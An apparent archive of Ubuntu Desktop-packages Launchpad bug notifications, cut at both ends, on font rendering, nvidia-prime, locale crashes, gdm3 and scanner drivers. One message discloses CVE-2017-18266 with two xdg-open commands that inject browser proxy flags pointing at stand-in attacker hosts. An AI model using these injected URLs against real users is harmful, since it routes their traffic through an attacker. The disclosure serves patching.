2016y02m16d_21h32m11s_0100Z_x_bug_reenabling_antialias_reactivates_problem_shadow_unaffected.png ), * thunderbird (see 2016y02m16d_21h28m35s_0100Z_x_bug_affects_thunderbird_terminal.png ), * emacs (see 2016y02m10d_18h41m49s_0100Z_wow_screen_flickers_and_most_glyphs_wrong_00.png and subsequent ), * superswitcher ( a gtk/gdk app) * *NOT* affected: xterm, xmessage. Perhaps only gtk/gdk/pango/cairo apps are affected. # Additional information This looks like a cache corruption somewhere. On IRC #pango, someone suggested a bug in Intel driver. Running `xfce4-appearance-settings` and there changing any of: * antialiasing enable/disable, * hinting strength, * subpixel alignment * or dpi immediately cures the bug (see 2016y02m16d_21h31m52s_0100Z_x_bug_disabling_antialias_immediately_cures_problem.png ) Setting back the exact same parameters immediately reactivates the bug (see 2016y02m16d_21h32m11s_0100Z_x_bug_reenabling_antialias_reactivates_problem_shadow_unaffected.png). It is believed that keeping any new settings for a while will have the bug reoccur. It is not like bug 1536751. That one affects rendering quality of *all* glyphs, at all times, depending on dpi. This is not the case here: *some* glyphs (randomly chosen) are drawn corrupted (replaced by garbage or absent), not always. --- ApportVersion: 2.20-0ubuntu3 Architecture: amd64 CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: None CurrentDesktop: XFCE DistUpgraded: Fresh install DistroCodename: xenial DistroRelease: Ubuntu 16.04 DistroVariant: ubuntu DkmsStatus: virtualbox, 5.0.14, 4.4.0-8-generic, x86_64: installed ExtraDebuggingInterest: Yes, including running git bisection searches GraphicsCard: Intel Corporation 4th Gen Core Processor Integrated Graphics Controller [8086:0416] (rev 06) (prog-if 00 [VGA controller]) Subsystem: ASUSTeK Computer Inc. 4th Gen Core Processor Integrated Graphics Controller [1043:177d] Subsystem: ASUSTeK Computer Inc. GM107M [GeForce GTX 850M] [1043:177d] InstallationDate: Installed on 2016-02-03 (26 days ago) InstallationMedia: Xubuntu 16.04 LTS "Xenial Xerus" - Alpha amd
[Desktop-packages] [Bug 1772295] [NEW] CVE-2017-18266: argument injection in xdg-open
*** This bug is a security vulnerability *** Public security bug reported: An attacker can silently set their proxy in browser settings to capture user's traffic, using a malformed URL in xdg-open. The following command tries to open Yandex main page though third-party proxy server. env -i BROWSER="links %s" xdg-open 'http://www.yandex.com/ -http- proxy evil-site.example.org:8080' Another sample of an exploit with Chromium browser. env -i BROWSER="chromium %s" xdg-open "http://www.example.com/ --proxy-pac-url=http://dangerous.example.net/proxy.pac"; ** Affects: xdg-utils Importance: Unknown Status: Unknown ** Affects: xdg-utils (Ubuntu) Importance: Undecided Assignee: Nicholas Guriev (mymedia) Status: New ** Changed in: xdg-utils (Ubuntu) Assignee: (unassigned) => Nicholas Guriev (mymedia) ** Information type changed from Private Security to Public Security ** Bug watch added: freedesktop.org Bugzilla #103807 https://bugs.freedesktop.org/show_bug.cgi?id=103807 ** Also affects: xdg-utils via https://bugs.freedesktop.org/show_bug.cgi?id=103807 Importance: Unknown Status: Unknown ** CVE added: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-18266 -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xdg-utils in Ubuntu. https://bugs.launchpad.net/bugs/1772295 Title: CVE-2017-18266: argument injection in xdg-open Status in Xdg-utils: Unknown Status in xdg-utils package in Ubuntu: New Bug description: An attacker can silently set their proxy in browser settings to capture user's traffic, using a malformed URL in xdg-open. The following command tries to open Yandex main page though third- party proxy server. env -i BROWSER="links %s" xdg-open 'http://www.yandex.com/ -http- proxy evil-site.example.org:8080' Another sample of an exploit with Chromium browser. env -i BROWSER="chromium %s" xdg-open "http://www.example.com/ --proxy-pac-url=http://dangerous.example.net/proxy.pac"; To manage notifications about this bug go to: https://bugs.launchpad.net/xdg-utils/+bug/1772295/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1547077] Re: Suspend to ram causes some glyphs to draw consistently wrong or even appear blank in gtk/gdk/pango/cairo apps. xterm/xmessage unaffected.
Interestingly, thus bug started to reappear in its extreme form: a few times in the past days, all letters disappeared in my xfce4-terminals. Workaround was to close and reopen session. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1547077 Title: Suspend to ram causes some glyphs to draw consistently wrong or even appear blank in gtk/gdk/pango/cairo apps. xterm/xmessage unaffected. Status in xorg package in Ubuntu: Triaged Bug description: # Summary * Some glyphs badly drawn at some moments. * When happens, same glyph drawn on various windows shows same corruption. * Problem comes and go. Cannot use nvidia proprietary driver as a workaround (does not work at all). # Context Laptop, using "intel" (or "nouveau" ?) driver. Expected: all glyphs rendered correctly. Observed: some glyphs not rendered correctly * reproducible: sometimes, eventually. Problem comes and go, severity varies from one glyph (see 2016y02m17d_18h08m27s_0100Z_x_bug_glyph_firefox_gnome_org.png ) to all text on screen fully unreadable (see 2016y02m10d_18h42m18s_0100Z_wow_screen_flickers_and_most_glyphs_wrong_01.png ) * *some* glyphs are affected. For example, letter 'a' of a certain size will be replaced by colored garbage at many places where it appears (see 2016y02m18d_16h05m35s_0100Z_same_corruption_on_different_windows.png ), but other 'a' with different size, italic, bold, etc will be unaffected. * in some applications (e.g. xfce whisker menu), some glyphs are rendered correctly or not depending on the direction of mouse hovering. See video 2016y02m16d_21h41m14s_0100Z_whisker_menu_missing_glyphs.mp4 . * in menu of gtk application, some glyphs are "fixed" by opening the menu, but not all. For example, in xfce4-terminal, letter A of "Affichage" and its menu content as well as "Aide" is affected. Opening "Affichage" menu does not fix anything. Opening "Aide" menu fixes the "A" of "Aide". Changing window size reactivates the bug on "A" or "Aide". See video 2016y02m18d_16h14m25s_0100Z_glyph-redrawn- bug.mp4 . * text under icons on desktop is affected, but shadows are not. See 2016y02m16d_21h32m11s_0100Z_x_bug_reenabling_antialias_reactivates_problem_shadow_unaffected.png # Affected applications * xfce whisker menu, * xfce4-terminal (nealy all screenshots) * firefox (see 2016y02m17d_18h08m27s_0100Z_x_bug_glyph_firefox_gnome_org.png 2016y02m16d_21h32m11s_0100Z_x_bug_reenabling_antialias_reactivates_problem_shadow_unaffected.png ), * thunderbird (see 2016y02m16d_21h28m35s_0100Z_x_bug_affects_thunderbird_terminal.png ), * emacs (see 2016y02m10d_18h41m49s_0100Z_wow_screen_flickers_and_most_glyphs_wrong_00.png and subsequent ), * superswitcher ( a gtk/gdk app) * *NOT* affected: xterm, xmessage. Perhaps only gtk/gdk/pango/cairo apps are affected. # Additional information This looks like a cache corruption somewhere. On IRC #pango, someone suggested a bug in Intel driver. Running `xfce4-appearance-settings` and there changing any of: * antialiasing enable/disable, * hinting strength, * subpixel alignment * or dpi immediately cures the bug (see 2016y02m16d_21h31m52s_0100Z_x_bug_disabling_antialias_immediately_cures_problem.png ) Setting back the exact same parameters immediately reactivates the bug (see 2016y02m16d_21h32m11s_0100Z_x_bug_reenabling_antialias_reactivates_problem_shadow_unaffected.png). It is believed that keeping any new settings for a while will have the bug reoccur. It is not like bug 1536751. That one affects rendering quality of *all* glyphs, at all times, depending on dpi. This is not the case here: *some* glyphs (randomly chosen) are drawn corrupted (replaced by garbage or absent), not always. --- ApportVersion: 2.20-0ubuntu3 Architecture: amd64 CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: None CurrentDesktop: XFCE DistUpgraded: Fresh install DistroCodename: xenial DistroRelease: Ubuntu 16.04 DistroVariant: ubuntu DkmsStatus: virtualbox, 5.0.14, 4.4.0-8-generic, x86_64: installed ExtraDebuggingInterest: Yes, including running git bisection searches GraphicsCard: Intel Corporation 4th Gen Core Processor Integrated Graphics Controller [8086:0416] (rev 06) (prog-if 00 [VGA controller]) Subsystem: ASUSTeK Computer Inc. 4th Gen Core Processor Integrated Graphics Controller [1043:177d] Subsystem: ASUSTeK Computer Inc. GM107M [GeForce GTX 850M] [1043:177d] InstallationDate: Installed on 2016-02-03 (26 days ago) InstallationMedia: Xubuntu 16.04 LTS "Xenial Xerus" - Alpha amd64 (20160203) MachineType: ASUSTeK COMPUTER INC. N551JK Package: xorg 1:7.7+13ubuntu1 PackageArchitecture: amd64 ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.4.0-7-generic.efi.signed
[Desktop-packages] [Bug 1732482] Re: [snap] doesn't properly save desktop files for "create shortcuts" action
Any news on this? I am using chromium 66.0.3359.139 (283 stable snap) under Fedora. The create shortcuts action created a .desktop file under ~/Desktop, which is not useful when using the Gnome shell. The Exec part in the .desktop file points to /snap/chromium/283/usr/lib/chromium-browser/chromium-browser ... which is not the right path for my installation. I replaced the path with /var/lib/snapd/snap/bin/chromium and the chrome app is now working after moving it to .local/share/applications manually. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to chromium-browser in Ubuntu. https://bugs.launchpad.net/bugs/1732482 Title: [snap] doesn't properly save desktop files for "create shortcuts" action Status in chromium-browser package in Ubuntu: Confirmed Bug description: For chrome apps, the create shortcuts action should create desktop files but it doesn't. I suspect it has something to do with paths.  tracking:candidate installed: 62.0.3202.94 (123) 246MB - To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/chromium-browser/+bug/1732482/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1379531] Re: "Combine sides" should be "combine pages"?
My memory's a little fuzzy on the matter, so do excuse me if I'm about to write a load of nonsense, but I remember coming across this a few years ago, and in the end left it be for English UK for lack of certainty. At the time I remember considering the concept - Imagine you are scanning a document into a pdf with 6 A4 'sides' (3 sheets of paper) but they are numbered within like: frontpage, index, page 1, page 2, page 3 and page 4. On your 3rd sheet of paper, page 4 (of the work) is actually on side 6. Without digging into it back then, I presumed the strings were intentionally written in as they were to account for the non- interchangeablity between the three terms. Each sheet is made up of a front side and a back side of course, and you may find yourself wishing to combine different sides (e.g. sides 3-6 inclusive in the example above contain the actually information, which is equivalent to asking for 'pages 1 - 4'?) Alternatively, whether 'page' was used to mean 'sheet' instead, I can't recall. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to simple-scan in Ubuntu. https://bugs.launchpad.net/bugs/1379531 Title: "Combine sides" should be "combine pages"? Status in Ubuntu Translations: Invalid Status in simple-scan package in Ubuntu: New Bug description: Combine sides and Combine sides (reverse) look like a German speaker with poor English mistranslated 'Seiten' as 'sides' rather than 'pages'? Located in ../src/ui.vala:1204 Located in ../src/ui.vala:1214 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-translations/+bug/1379531/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1765363] Re: prime-select intel is not powering off the nvidia card
Let's try to let nouveau turn off the dGPU with a mainline 4.17rc6 kernel, probably available as DEB packages tomorrow (21/05/2018) from http://kernel.ubuntu.com/~kernel-ppa/mainline/. See this PR: https://lkml.org/lkml/2018/5/18/159 It includes an ACPI fix critical for Optimus laptops (making the acpi_osi and acpi_rev_override workarounds obsolete). This may not be enough to get a stable system with GeForce 10xx series and nouveau just yet, but it's worth trying. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to nvidia-prime in Ubuntu. https://bugs.launchpad.net/bugs/1765363 Title: prime-select intel is not powering off the nvidia card Status in nvidia-prime package in Ubuntu: Confirmed Bug description: Right now, it seems that prime-select intel makes sure the nvidia driver is not loaded, as nvidia-settings reports. But my power consumption is > 20W. cat /proc/acpi/bbswitch reports the card is still on. If bbswitch and powertop are reliable, then the nvidia card is still powered. This is a thinkpad w520 in Optimus mode. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: nvidia-prime 0.8.7 ProcVersionSignature: Ubuntu 4.15.0-15.16-generic 4.15.15 Uname: Linux 4.15.0-15-generic x86_64 ApportVersion: 2.20.9-0ubuntu5 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Thu Apr 19 19:56:21 2018 Dependencies: EcryptfsInUse: Yes InstallationDate: Installed on 2017-12-14 (125 days ago) InstallationMedia: Ubuntu 17.10 "Artful Aardvark" - Release amd64 (20171018) PackageArchitecture: all SourcePackage: nvidia-prime UpgradeStatus: Upgraded to bionic on 2018-03-09 (41 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/nvidia-prime/+bug/1765363/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1772238] Re: mix of german/english words
Thanks for your report. I'm wondering if you have the latest package versions. Can you please run this command: dpkg-query -W gnome-control-center language-pack-gnome-de and let us know what it outputs. ** Changed in: gnome-control-center (Ubuntu) Status: New => Incomplete -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-control-center in Ubuntu. https://bugs.launchpad.net/bugs/1772238 Title: mix of german/english words Status in gnome-control-center package in Ubuntu: Incomplete Bug description: mix of german/english words in ubuntubudgie 18.04 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-control-center/+bug/1772238/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1772237] Re: Language support quits immediately after starting
Thanks for your report!
Right, Python is the culprit; more precisely python and glibc have
different ideas about what's a correct locale name.
Probably your /etc/default/locale file includes this line:
LANG=en_IL
To fix this for yourself, open the file for editing and change that line
to:
LANG=en_IL.UTF-8
See also bug #1646260. I think I'll fix language-selector so it at least
does not crash in cases like this.
** Also affects: language-selector (Ubuntu Bionic)
Importance: Undecided
Status: New
** Changed in: language-selector (Ubuntu)
Importance: Undecided => Medium
** Changed in: language-selector (Ubuntu)
Status: New => Triaged
** Changed in: language-selector (Ubuntu Bionic)
Importance: Undecided => Medium
** Changed in: language-selector (Ubuntu Bionic)
Status: New => Triaged
--
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to language-selector in Ubuntu.
https://bugs.launchpad.net/bugs/1772237
Title:
Language support quits immediately after starting
Status in language-selector package in Ubuntu:
Triaged
Status in language-selector source package in Bionic:
Triaged
Bug description:
When I click on Language Support from the applications menu, it
starts, shows a progress bar, and then immediately quits.
I do not see the crash report window open (Apport), but something
seems to crash. Here is what is appended to the syslog when the
phenomenon happens:
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: Traceback
(most recent call last):
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: File
"/usr/bin/gnome-language-selector", line 22, in on_activate
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]:
options=options)
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: File
"/usr/lib/python3/dist-packages/LanguageSelector/gtk/GtkLanguageSelector.py",
line 202, in __init__
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]:
self.check_input_methods()
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: File
"/usr/lib/python3/dist-packages/LanguageSelector/gtk/GtkLanguageSelector.py",
line 57, in wrapper
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: res =
f(*args, **kwargs)
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: File
"/usr/lib/python3/dist-packages/LanguageSelector/gtk/GtkLanguageSelector.py",
line 453, in check_input_methods
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]:
currentIM = self.ImConfig.getCurrentInputMethod()
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: File
"/usr/lib/python3/dist-packages/LanguageSelector/ImConfig.py", line 39, in
getCurrentInputMethod
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: loc =
locale.getlocale(locale.LC_CTYPE)[0]
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: File
"/usr/lib/python3.6/locale.py", line 581, in getlocale
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]:
return _parse_localename(localename)
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: File
"/usr/lib/python3.6/locale.py", line 490, in _parse_localename
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: raise
ValueError('unknown locale: %s' % localename)
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]:
ValueError: unknown locale: en_IL
ProblemType: Bug
DistroRelease: Ubuntu 18.04
Package: language-selector-gnome 0.188
ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17
Uname: Linux 4.15.0-20-generic x86_64
NonfreeKernelModules: nvidia_modeset nvidia
ApportVersion: 2.20.9-0ubuntu7
Architecture: amd64
CurrentDesktop: ubuntu:GNOME
Date: Sun May 20 12:15:21 2018
InstallationDate: Installed on 2018-05-19 (0 days ago)
InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426)
PackageArchitecture: all
ProcEnviron:
PATH=(custom, no user)
XDG_RUNTIME_DIR=
LANG=en_IL
SHELL=/bin/bash
SourcePackage: language-selector
UpgradeStatus: No upgrade log present (probably fresh install)
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/language-selector/+bug/1772237/+subscriptions
--
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1767817] Re: Full text search does not work
Gnome developers think that this issue is a decision made by Ubuntu: "Unfortunately, Ubuntu disables the technology we use for that. Please report there." https://gitlab.gnome.org/GNOME/nautilus/issues/451 As said above, Full text search should be removed from Ubuntu if it is not even supposed to work. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to nautilus in Ubuntu. https://bugs.launchpad.net/bugs/1767817 Title: Full text search does not work Status in nautilus package in Ubuntu: Confirmed Bug description: Background: I have installed Tracker. It has finished indexing. I can also use Tracker's command line interface to search by content. 1. Description: Ubuntu 18.04 LTS Release: 18.04 2. nautilus: Installed: 1:3.26.3-0ubuntu4 Candidate: 1:3.26.3-0ubuntu4 Version table: *** 1:3.26.3-0ubuntu4 500 500 http://fi.archive.ubuntu.com/ubuntu bionic/main amd64 Packages 100 /var/lib/dpkg/status 3. I expect to be able to search files by content from Nautilus, because this feature worked in 17.10. 4. I get no results from full text search unless the search matches file names. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/nautilus/+bug/1767817/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1772271] [NEW] stuttering mouse movement after any shell window opens
Public bug reported: mouse stutters when moving. This started after update from Ubuntu 16 to 18. Mouse is fine on initial boot, but after any shell window opens, the mouse then stutters in its movement. clicks work fine. almost looks like mouse is not getting its irq interrupts. Description:Ubuntu 18.04 LTS Release:18.04 also getting this error: ~$ apport-bug gtk (apport-gtk:18122): Gtk-WARNING **: 11:21:15.632: Theme parsing error: gtk-main.css:73:38: Failed to import: Error opening file /usr/share/themes/Radiance/gtk-3.20/apps/gnome-builder.css: No such file or directory dpkg-query: no packages found matching gtk Gtk-Message: 11:21:20.142: GtkDialog mapped without a transient parent. This is discouraged. peter@peter-GeForce6100PM-M2:~$ apport-bug light-themes (apport-gtk:19203): Gtk-WARNING **: 11:29:01.986: Theme parsing error: gtk-main.css:73:38: Failed to import: Error opening file /usr/share/themes/Radiance/gtk-3.20/apps/gnome-builder.css: No such file or directory peter@peter-GeForce6100PM-M2:~$ (firefox:19566): Gtk-WARNING **: 11:30:11.449: Theme parsing error: gtk-main.css:73:38: Failed to import: Error opening file /usr/share/themes/Radiance/gtk-3.20/apps/gnome-builder.css: No such file or directory light-themes: Installed: 16.10+18.04.20180421.1-0ubuntu1 Candidate: 16.10+18.04.20180421.1-0ubuntu1 Version table: *** 16.10+18.04.20180421.1-0ubuntu1 500 500 http://us.archive.ubuntu.com/ubuntu bionic/main amd64 Packages 500 http://us.archive.ubuntu.com/ubuntu bionic/main i386 Packages 100 /var/lib/dpkg/status ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: light-themes 16.10+18.04.20180421.1-0ubuntu1 ProcVersionSignature: Ubuntu 4.15.0-20.21-lowlatency 4.15.17 Uname: Linux 4.15.0-20-lowlatency x86_64 ApportVersion: 2.20.9-0ubuntu7 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Sun May 20 11:29:02 2018 InstallationDate: Installed on 2015-10-24 (938 days ago) InstallationMedia: Ubuntu 15.10 "Wily Werewolf" - Release amd64 (20151021) PackageArchitecture: all ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: ubuntu-themes UpgradeStatus: Upgraded to bionic on 2018-05-06 (14 days ago) ** Affects: ubuntu-themes (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug bionic -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to ubuntu-themes in Ubuntu. https://bugs.launchpad.net/bugs/1772271 Title: stuttering mouse movement after any shell window opens Status in ubuntu-themes package in Ubuntu: New Bug description: mouse stutters when moving. This started after update from Ubuntu 16 to 18. Mouse is fine on initial boot, but after any shell window opens, the mouse then stutters in its movement. clicks work fine. almost looks like mouse is not getting its irq interrupts. Description: Ubuntu 18.04 LTS Release: 18.04 also getting this error: ~$ apport-bug gtk (apport-gtk:18122): Gtk-WARNING **: 11:21:15.632: Theme parsing error: gtk-main.css:73:38: Failed to import: Error opening file /usr/share/themes/Radiance/gtk-3.20/apps/gnome-builder.css: No such file or directory dpkg-query: no packages found matching gtk Gtk-Message: 11:21:20.142: GtkDialog mapped without a transient parent. This is discouraged. peter@peter-GeForce6100PM-M2:~$ apport-bug light-themes (apport-gtk:19203): Gtk-WARNING **: 11:29:01.986: Theme parsing error: gtk-main.css:73:38: Failed to import: Error opening file /usr/share/themes/Radiance/gtk-3.20/apps/gnome-builder.css: No such file or directory peter@peter-GeForce6100PM-M2:~$ (firefox:19566): Gtk-WARNING **: 11:30:11.449: Theme parsing error: gtk-main.css:73:38: Failed to import: Error opening file /usr/share/themes/Radiance/gtk-3.20/apps/gnome-builder.css: No such file or directory light-themes: Installed: 16.10+18.04.20180421.1-0ubuntu1 Candidate: 16.10+18.04.20180421.1-0ubuntu1 Version table: *** 16.10+18.04.20180421.1-0ubuntu1 500 500 http://us.archive.ubuntu.com/ubuntu bionic/main amd64 Packages 500 http://us.archive.ubuntu.com/ubuntu bionic/main i386 Packages 100 /var/lib/dpkg/status ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: light-themes 16.10+18.04.20180421.1-0ubuntu1 ProcVersionSignature: Ubuntu 4.15.0-20.21-lowlatency 4.15.17 Uname: Linux 4.15.0-20-lowlatency x86_64 ApportVersion: 2.20.9-0ubuntu7 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Sun May 20 11:29:02 2018 InstallationDate: Installed on 2015-10-24 (938 days ago) InstallationMedia: Ubuntu 15.10 "Wily Werewolf" - Release amd64 (20151021) PackageArchitecture: all ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: ubuntu-themes UpgradeStatus: Upgraded to
[Desktop-packages] [Bug 1772268] [NEW] User change login freeze
Public bug reported: While trying to change to another user account without boot display manager freeze. ctr-alt-F2 return back to previous user. While trying to log in to another user account after log out from another result to same immediate freeze. ctr-alt-del boots and after this login works. I am using ubuntu 18.04 fresh install with final release. I have checked yes to the the bionic-proposed as similar kind of bug was reported to have a fix available. gdm3: Asennettu: 3.28.0-0ubuntu1.1 Ehdokas: 3.28.0-0ubuntu1.1 Versiotaulukko: *** 3.28.0-0ubuntu1.1 500 500 http://fi.archive.ubuntu.com/ubuntu bionic-proposed/main amd64 Packages 100 /var/lib/dpkg/status 3.28.0-0ubuntu1 500 500 http://fi.archive.ubuntu.com/ubuntu bionic/main amd64 Packages ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: gdm3 3.28.0-0ubuntu1.1 ProcVersionSignature: Ubuntu 4.15.0-21.22-generic 4.15.17 Uname: Linux 4.15.0-21-generic x86_64 ApportVersion: 2.20.9-0ubuntu7 Architecture: amd64 Date: Sun May 20 17:55:27 2018 InstallationDate: Installed on 2018-04-27 (22 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) ProcEnviron: TERM=xterm-256color PATH=(custom, no user) LANG=fi_FI.UTF-8 SHELL=/bin/bash SourcePackage: gdm3 UpgradeStatus: No upgrade log present (probably fresh install) modified.conffile..etc.gdm3.custom.conf: [deleted] ** Affects: gdm3 (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug bionic package-from-proposed -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gdm3 in Ubuntu. https://bugs.launchpad.net/bugs/1772268 Title: User change login freeze Status in gdm3 package in Ubuntu: New Bug description: While trying to change to another user account without boot display manager freeze. ctr-alt-F2 return back to previous user. While trying to log in to another user account after log out from another result to same immediate freeze. ctr-alt-del boots and after this login works. I am using ubuntu 18.04 fresh install with final release. I have checked yes to the the bionic-proposed as similar kind of bug was reported to have a fix available. gdm3: Asennettu: 3.28.0-0ubuntu1.1 Ehdokas: 3.28.0-0ubuntu1.1 Versiotaulukko: *** 3.28.0-0ubuntu1.1 500 500 http://fi.archive.ubuntu.com/ubuntu bionic-proposed/main amd64 Packages 100 /var/lib/dpkg/status 3.28.0-0ubuntu1 500 500 http://fi.archive.ubuntu.com/ubuntu bionic/main amd64 Packages ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: gdm3 3.28.0-0ubuntu1.1 ProcVersionSignature: Ubuntu 4.15.0-21.22-generic 4.15.17 Uname: Linux 4.15.0-21-generic x86_64 ApportVersion: 2.20.9-0ubuntu7 Architecture: amd64 Date: Sun May 20 17:55:27 2018 InstallationDate: Installed on 2018-04-27 (22 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) ProcEnviron: TERM=xterm-256color PATH=(custom, no user) LANG=fi_FI.UTF-8 SHELL=/bin/bash SourcePackage: gdm3 UpgradeStatus: No upgrade log present (probably fresh install) modified.conffile..etc.gdm3.custom.conf: [deleted] To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gdm3/+bug/1772268/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1728012] Re: Many 3rd party scanner drivers are broken by a sane change
HP Color LaserJet MFP M477fnw also affected. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to sane-backends in Ubuntu. https://bugs.launchpad.net/bugs/1728012 Title: Many 3rd party scanner drivers are broken by a sane change Status in sane-backends package in Ubuntu: Confirmed Bug description: Many scanners can no more be used since sane has changed something: The 3rd-party plug-in the vendor provides as .deb package will still install. But the scanner is no more recognized. Scanners that are affected are(besides others): - Epson Perfection V10 - Epson Perfection V1000 - Epson WorkForce GT-1500 - Brother MFC-8510DN - Epson Perfection V33 It is to note that the probability that the scanner manufacturers fix things others broke is below 100%. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: libsane1 1.0.27-1~experimental2ubuntu2 Uname: Linux 4.14.0-041400rc5-lowlatency x86_64 ApportVersion: 2.20.7-0ubuntu3.1 Architecture: amd64 Date: Fri Oct 27 12:35:52 2017 EcryptfsInUse: Yes SourcePackage: sane-backends UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/sane-backends/+bug/1728012/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1763978] Re: nvidia-prime-boot.service: Main process exited, code=exited, status=2/INVALIDARGUMENT
Hi, I also seem to have this problem: Ubuntu 18.04 nvidia-prime 0.8.8 output of `journalctl -u nvidia-prime-boot.service` ``` -- Logs begin at Tue 2018-05-15 21:22:38 BST, end at Sun 2018-05-20 15:49:46 BST. -- May 16 20:50:32 erebus systemd[1]: Starting dGPU off during boot... May 16 20:50:32 erebus sh[1273]: /bin/sh: 1: cannot create /sys/kernel/debug/vgaswitcheroo/switch: Directory nonexistent May 16 20:50:32 erebus systemd[1]: nvidia-prime-boot.service: Main process exited, code=exited, status=2/INVALIDARGUMENT May 16 20:50:32 erebus systemd[1]: nvidia-prime-boot.service: Failed with result 'exit-code'. May 16 20:50:32 erebus systemd[1]: Failed to start dGPU off during boot. ``` -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to nvidia-prime in Ubuntu. https://bugs.launchpad.net/bugs/1763978 Title: nvidia-prime-boot.service: Main process exited, code=exited, status=2/INVALIDARGUMENT Status in nvidia-prime package in Ubuntu: Confirmed Bug description: Since this week (i believe April 9th) Nvidia-prime isn't working for me. Running: Distributor ID: Ubuntu Description: Ubuntu Bionic Beaver (development branch) Release: 18.04 Codename: bionic Nvidia-prime version: Nvidia-prime version: Installed: 0.8.7 Candidate: 0.8.7 Version table: *** 0.8.7 500 Error code: apr 14 11:56:33 Precision-7510 systemd[1]: 